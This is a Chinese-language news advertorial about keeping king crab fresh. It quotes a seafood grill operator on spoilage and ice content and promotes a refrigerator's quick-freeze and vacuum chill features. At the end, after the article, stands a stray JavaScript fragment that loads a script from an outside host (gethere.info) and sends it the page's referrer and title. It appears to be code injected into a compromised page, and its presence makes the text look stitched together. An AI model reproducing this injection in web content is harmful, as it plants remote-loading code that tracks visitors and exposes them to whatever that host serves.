▲令人食指大動的帝王蟹,保鮮是其美味關鍵。(圖/公關照片)

 

目前市面上吃到飽餐廳,已進化到推出「」產品,讓饕客直呼過癮,現今一位難求。即使遇到景氣寒冬,仍吸引不少人願意掏出大把鈔票,前往品嚐這人間美味,業者為此決定砸重本,繼續延長這波戰線。

頂級帝王蟹燒烤業者曾政安指出,要能吃到美味的帝王蟹,除了要注重帝王蟹大小、色澤、內管是否紮實外,最重要的就是觀察蟹的含冰量,太多會影響肉質,使得口感鬆散,失去原該有的甜度,這牽涉到是否購買有通過國內產品檢驗的產品,以及帝王蟹的保鮮是否完善。若沒有在保持新鮮的狀態下烹調、食用,將產生有毒組織胺、細菌,且會發出類似阿摩尼亞的嗆鼻腥味,並有可能造成過敏或食物中毒、腹瀉等症狀。因此業者都會採取當天進貨食材、即時當天使用完畢的原則處理,防止美味流失、傷害顧客健康的事情發生。


▲頂級海鮮燒烤業者認為完善保鮮能品嚐到帝王蟹的美味與健康。(圖/公關照片)

但許多民眾為了在秋冬追求帝王蟹的美味,也會採購回家自行烹調。一隻帝王蟹有八隻腳份量十足,若無法如業者馬上、一次烹食完畢,後續的保鮮動作便愈加重要。

為延長海產鮮度,在一般民眾思維裡,必定會放進冷凍庫,但業者曾政安認為此舉會讓帝王蟹的含冰量增加,會嚴重破壞肉質!為此,日系家電業者看準民眾保鮮確又希望能維持食材新鮮原味的心理,推出進化版急速冷凍功能,只要輕輕一按,啟動急速冷凍功能,在急速冷凍庫裹的肉類海鮮,就會在短時間內將溫度降至零下,鎖住鮮味。隨冰箱附贈的鋁合金保鮮盤,讓溫度交換性更佳,在急速冷凍過程中,避免失溫而造成食物養份流失。

除了美味跟養份的考量外,海鮮最怕放久氧化以及產生異味,更應選擇有真空睡眠冰溫室的冰箱,透過小型真空幫浦,打造約0.8氣壓的真空環境,有效減少氧氣、抑制氧化,能鎖住食物營養與美味。同時,低溫白金奈米觸媒,會將異味分子分解為碳酸氣與水分子,也大幅降低海鮮腥味的產生。一鍵按下真空冰溫功能,冰箱就會自動設定為放肉類海鮮等最適合-1℃冰溫環境。


▲睡眠冰溫室真空環境示意圖。(圖/日立家電提供)

除此之外,煮熟的帝王蟹未吃完,直接冷凍容易讓熟蟹流失水分、變得很乾、不好吃,因此放入真空睡眠室中保存,在冰溫保鮮的密閉空間裡讓水分不易流失,仍是最具保鮮、保美味的選擇。

一年之中除了五、六月,都是品嚐帝王蟹的好時機,尤其冬季正當得肥美時,自家烹調倘若保鮮得宜,您也能夠在家中盡情享受這季節珍饈。s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + “;